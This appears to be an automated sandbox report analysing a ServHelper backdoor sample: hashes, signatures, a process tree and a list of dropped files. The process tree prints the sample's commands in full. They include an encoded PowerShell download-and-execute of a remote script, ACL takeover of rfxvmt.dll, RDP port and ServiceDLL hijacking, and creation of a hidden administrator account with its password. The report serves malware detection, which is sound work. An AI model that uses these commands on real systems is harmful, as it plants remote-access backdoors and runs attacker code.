Analysis

  • max time kernel
    127s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7v20210410
  • submitted
    19-08-2021 19:34

General

  • Target

    87dd0632a95ca24443f8c6363bc055e6.exe

  • Size

    5.9MB

  • MD5

    87dd0632a95ca24443f8c6363bc055e6

  • SHA1

    423785b67d20f4f5056ff6d9e34fda3c72a03bd4

  • SHA256

    266562d82899806c0eafc3ca72216e78d41403dd24effebd31d7635922ba96ce

  • SHA512

    c51d180cca074540f5ca9186e60509cfdb1c7e1a8651e691eac585df9f8352e256cedb86a4a340e0e8f5b1ed6d73ff270d92424259539c0c4c02a7048f2a75e2

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • suricata: ET MALWARE ServHelper CnC Inital Checkin

    suricata: ET MALWARE ServHelper CnC Inital Checkin

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe
    "C:\Users\Admin\AppData\Local\Temp\87dd0632a95ca24443f8c6363bc055e6.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:916
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:572
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\njncjljq\njncjljq.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:984
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES99C0.tmp" "c:\Users\Admin\AppData\Local\Temp\njncjljq\CSC30F7DDE84DB24FD2A41B632FCDB1EC79.TMP"
          4⤵
            PID:592
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1784
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:300
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1988
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:792
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1144
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1936
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1592
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1652
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1680
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:952
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1632
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1388
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1676
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1484
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1036
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1600
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:944
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1376
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1960
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1876
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1988
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1568
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1508
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1996
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:300
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:948
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1032
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:608
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:360
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc XOlGjCZN /add
                                  1⤵
                                    PID:1348
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc XOlGjCZN /add
                                      2⤵
                                        PID:1484
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc XOlGjCZN /add
                                          3⤵
                                            PID:1056
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1036
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1612
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:1376
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                              1⤵
                                                PID:1860
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                  2⤵
                                                    PID:1992
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD
                                                      3⤵
                                                        PID:1696
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:544
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1080
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:1388
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc XOlGjCZN
                                                          1⤵
                                                            PID:1796
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc XOlGjCZN
                                                              2⤵
                                                                PID:1960
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc XOlGjCZN
                                                                  3⤵
                                                                    PID:1336
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:920
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:972
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:888
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:948
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:1428
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:360
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1604

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_295c844b-9e72-456e-847f-e4434e242194

                                                                        MD5

                                                                        d89968acfbd0cd60b51df04860d99896

                                                                        SHA1

                                                                        b3c29916ccb81ce98f95bbf3aa8a73de16298b29

                                                                        SHA256

                                                                        1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9

                                                                        SHA512

                                                                        b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5f7beb8c-e159-43c3-a6d8-fc7817d59b44

                                                                        MD5

                                                                        faa37917b36371249ac9fcf93317bf97

                                                                        SHA1

                                                                        a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4

                                                                        SHA256

                                                                        b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132

                                                                        SHA512

                                                                        614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_871b46de-2b40-4201-a27f-155dc70021b9

                                                                        MD5

                                                                        6f0d509e28be1af95ba237d4f43adab4

                                                                        SHA1

                                                                        c665febe79e435843553bee86a6cea731ce6c5e4

                                                                        SHA256

                                                                        f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e

                                                                        SHA512

                                                                        8dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a06d569a-b6f1-480c-a0be-c830e764a87a

                                                                        MD5

                                                                        e5b3ba61c3cf07deda462c9b27eb4166

                                                                        SHA1

                                                                        b324dad73048be6e27467315f82b7a5c1438a1f9

                                                                        SHA256

                                                                        b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925

                                                                        SHA512

                                                                        a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b00c34c2-801c-46bc-8a2b-d59622cc8db2

                                                                        MD5

                                                                        7f79b990cb5ed648f9e583fe35527aa7

                                                                        SHA1

                                                                        71b177b48c8bd745ef02c2affad79ca222da7c33

                                                                        SHA256

                                                                        080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683

                                                                        SHA512

                                                                        20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cdfb8ac6-9c27-4037-a773-a8d8375c484c

                                                                        MD5

                                                                        a70ee38af4bb2b5ed3eeb7cbd1a12fa3

                                                                        SHA1

                                                                        81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9

                                                                        SHA256

                                                                        dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d

                                                                        SHA512

                                                                        8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_d52c8b00-e6d3-4f14-97b8-e69367382d5e

                                                                        MD5

                                                                        2d5cd190b5db0620cd62e3cd6ba1dcd3

                                                                        SHA1

                                                                        ff4f229f4fbacccdf11d98c04ba756bda80aac7a

                                                                        SHA256

                                                                        ab9aee31b3411bcc5a5fb51e9375777cca79cfb3a532d93ddd98a5673c60571d

                                                                        SHA512

                                                                        edb2a46f3ee33b48f8fe0b548c1e7940978d0e4ac90d5090807d8b5c8b1320217e5d66990b1d0a85546acbbaf9b601590d35de87de234da8eafd60d12fdce610

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        2f4e081d5cbf8d35dac987738398ef02

                                                                        SHA1

                                                                        63e48e13aaaf89334fc3d875a5992434e322897e

                                                                        SHA256

                                                                        ba1f31e0eb7e8dacc7e77ebda62399b1ee919b2b0356721600c5aab34512d4fd

                                                                        SHA512

                                                                        430272821ae2aa224cd4660251622d6d0c0504ba4ab1a8de89034da618f6687e86a2e2a09804fc9d1653685276daff3a688e3fce9c93c31c459a5755521c00b6

                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

                                                                        MD5

                                                                        3be225af6a93dfbeb52b18bc2076adb3

                                                                        SHA1

                                                                        97cf3957a5c595c85e0f3f8cda043f5d54ffccd2

                                                                        SHA256

                                                                        f395c5a0922e8557305fccc431ec4a50c7ae3bd38c1452a9e93bf86c61c066a1

                                                                        SHA512

                                                                        4413953de815c8a1e0c9ada576f4f9143c8b4e1d9a5ab8555249fa0d405712fcf1faddc9e681d0f7687f4659742d8df92870bd215e20fff45c70036180ac2665

                                                                      • C:\Users\Admin\AppData\Local\Temp\RES99C0.tmp

                                                                        MD5

                                                                        1fc16729b67df90b184d53dadd8b8eed

                                                                        SHA1

                                                                        08fad5def0bf882d4d07e52775f0c28f232bbca4

                                                                        SHA256

                                                                        6041637d96301ac65b1e8cf0b7cb21a1798facf510cc539ddb63f7ad12465339

                                                                        SHA512

                                                                        b9cf129d593529b8c750aea3b4056744768ad724340ae9ac63587988d695dbf5f49a13d548f1c872aa9889a27854b61ce2106d17a0864ff0b4605286eb037f71

                                                                      • C:\Users\Admin\AppData\Local\Temp\njncjljq\njncjljq.dll

                                                                        MD5

                                                                        2187bf7371eaded7dd51b1d0e7cf6b96

                                                                        SHA1

                                                                        9fa19c566ed3e927bdd1d99de030111a44f8ca3a

                                                                        SHA256

                                                                        56d956621d29457601ef5f4e27f740a70cbdd797c14036c6142143c85d0fabff

                                                                        SHA512

                                                                        20c27e9c157a7448968a34a07339288a0fe420540899e25cc30c9122668772ea32632fd471a8d84c15782e6c8ab42d3285fdef137815da24f94c8dbaeedc8376

                                                                      • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                                                        MD5

                                                                        3447df88de7128bdc34942334b2fab98

                                                                        SHA1

                                                                        519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb

                                                                        SHA256

                                                                        9520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9

                                                                        SHA512

                                                                        2ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f

                                                                      • C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1

                                                                        MD5

                                                                        2ac58884a6bc6115ac734d8f7e9dcff5

                                                                        SHA1

                                                                        7f1a83359e741a82aae8ead8f1b2dd67e76d93a5

                                                                        SHA256

                                                                        a328305f6d633db8b9de84d59a608d477d58b6c78b6f26a57303ced1d1acbf53

                                                                        SHA512

                                                                        dacfdeafe0e5e5370a3f8a49ec4505840508888c642310b6e482b7559116948145682e9b3964617734a74dfa9ecfddf0b7bf90f7751c34d7d08f6b6d6d800d4c

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        5279943a61e904630e934372f14002f6

                                                                        SHA1

                                                                        c1fd84be205b87a8d852c4ed6ef039f1716b512e

                                                                        SHA256

                                                                        212d83e8e664fc730e3fedec5b63afc757842bfe7ccae8f01cbec4c6a725b2a3

                                                                        SHA512

                                                                        60e2e2f45734a858c29ce4766568ea37140ec1b9499dd5af1e2416c59becec40d984f89c0c71e11e91173e2aeff5eb8ff63ab7c0a8cf23508a35e004bbf6e201

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        5279943a61e904630e934372f14002f6

                                                                        SHA1

                                                                        c1fd84be205b87a8d852c4ed6ef039f1716b512e

                                                                        SHA256

                                                                        212d83e8e664fc730e3fedec5b63afc757842bfe7ccae8f01cbec4c6a725b2a3

                                                                        SHA512

                                                                        60e2e2f45734a858c29ce4766568ea37140ec1b9499dd5af1e2416c59becec40d984f89c0c71e11e91173e2aeff5eb8ff63ab7c0a8cf23508a35e004bbf6e201

                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

                                                                        MD5

                                                                        5279943a61e904630e934372f14002f6

                                                                        SHA1

                                                                        c1fd84be205b87a8d852c4ed6ef039f1716b512e

                                                                        SHA256

                                                                        212d83e8e664fc730e3fedec5b63afc757842bfe7ccae8f01cbec4c6a725b2a3

                                                                        SHA512

                                                                        60e2e2f45734a858c29ce4766568ea37140ec1b9499dd5af1e2416c59becec40d984f89c0c71e11e91173e2aeff5eb8ff63ab7c0a8cf23508a35e004bbf6e201

                                                                      • C:\Windows\system32\rfxvmt.dll

                                                                        MD5

                                                                        dc39d23e4c0e681fad7a3e1342a2843c

                                                                        SHA1

                                                                        58fd7d50c2dca464a128f5e0435d6f0515e62073

                                                                        SHA256

                                                                        6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                                                        SHA512

                                                                        5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\lsarpc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\samr

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\PIPE\srvsvc

                                                                        MD5

                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                        SHA1

                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                        SHA256

                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                        SHA512

                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\njncjljq\CSC30F7DDE84DB24FD2A41B632FCDB1EC79.TMP

                                                                        MD5

                                                                        dac0dc52a82ac6737d07f8d5a30e6eb9

                                                                        SHA1

                                                                        6c78fd1e70b16fc8058800b5ecfd304a60dc9408

                                                                        SHA256

                                                                        4e6f0c68979e48506bd0f175c61942b8bf75b3b7e65f5ccd016d6f57a3e029a4

                                                                        SHA512

                                                                        43f7562ca9117d5256ee18bc0036fde15ce6f040acb6aeba426322369a70c3057f4319dab3d64490d6517666ad39a0fe275971e031d2f868d0db90dc148ef375

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\njncjljq\njncjljq.0.cs

                                                                        MD5

                                                                        4864fc038c0b4d61f508d402317c6e9a

                                                                        SHA1

                                                                        72171db3eea76ecff3f7f173b0de0d277b0fede7

                                                                        SHA256

                                                                        0f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84

                                                                        SHA512

                                                                        9e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31

                                                                      • \??\c:\Users\Admin\AppData\Local\Temp\njncjljq\njncjljq.cmdline

                                                                        MD5

                                                                        d36035ed73d1a98b8d18c98dd91716bb

                                                                        SHA1

                                                                        d44f4a82bdbc28d94c7eec784c6a5cfce86a5bfc

                                                                        SHA256

                                                                        cfdd96e93bb540aef6e6aeb8ebabab94de1e837d74eff066ab2ac0288ad4094f

                                                                        SHA512

                                                                        412c547d50ffe1fa7ae2bd5d2878e6aa1341ce6aec8efd7baa401b272ed8265e2f5dbf52b83a8b2a09787ea9150bbaa7bf79b6acd93170bd48cd7c9ed5b74d16

                                                                      • \Windows\Branding\mediasrv.png

                                                                        MD5

                                                                        3a434e30924f88a47fa7fc31e1821106

                                                                        SHA1

                                                                        b0d245fb30c2b311a2cdf7998c5109a2151cf5a4

                                                                        SHA256

                                                                        c1908713db3a7c8fa0dda2f4a332b00b7082910a08704d4b37b26f39f4712b28

                                                                        SHA512

                                                                        74c0a5382a725c78db73b9dcc71445747b05171dda27c21d6688800323fb3daf365d6ce05259415db7e7504f42e401a2535a25eefa49988c605ae2853413e84e

                                                                      • \Windows\Branding\mediasvc.png

                                                                        MD5

                                                                        c174d5f4b03f158ed3c3ac6579bc9d9f

                                                                        SHA1

                                                                        9a3f5c59cdcefe0097accab914e1896030e40e62

                                                                        SHA256

                                                                        7ed9b5536d19ad840881d068719dbc95da230bf00ba647bf1340bc5666daf2c7

                                                                        SHA512

